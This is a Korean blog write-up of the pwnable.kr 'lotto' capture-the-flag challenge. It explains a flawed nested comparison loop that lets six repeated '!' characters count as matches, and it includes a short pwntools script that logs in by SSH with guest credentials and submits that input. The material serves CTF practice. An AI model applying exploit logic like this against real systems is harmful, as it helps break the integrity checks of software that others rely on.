로또 프로그램이란다.





바로 코드를 봤고


play() 함수만 보면 된다.



난수를 발생시켜 로또 숫자를 생성한다.




생성한 로또 번호를 모듈러 연산으로 1~45의 값만 가지게 하는데



유저가 키보드로 입력할 수 있는 값은 33("!")부터다..


1~ 32는 키보드로 입력할 수 없는 값인데..


어떻게 맞추나 했는데 로또 숫자 조건 검사식이 조금 이상하다.





lotto[i] == submit[j]


i.. j...


로또의 각 숫자를 제출한 6자리의 각 숫자와 비교하고..


맞을 경우 match가 증가한다.


제출을 같은 숫자 6자리로 제출하고...


로또의 6자리 수 중 하나라도 맞추면 정답인데..


경우의 수가 엄청 많아보이지만.. 넣을 수 있는 값인 33("!")을 반복해서 넣어서 일단 시도해봤다.


 







pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
id   = 'lotto'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
res = s.run('./lotto')
res.recvuntil('Exit')
res.sendline('1')
res.recvuntil(':')
res.sendline('!!!!!!')
res.interactive()
 
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
12. blackjack  (0) 2018.10.01
11. coin1  (0) 2018.10.01
10. shellshock  (0) 2018.09.26

+ Recent posts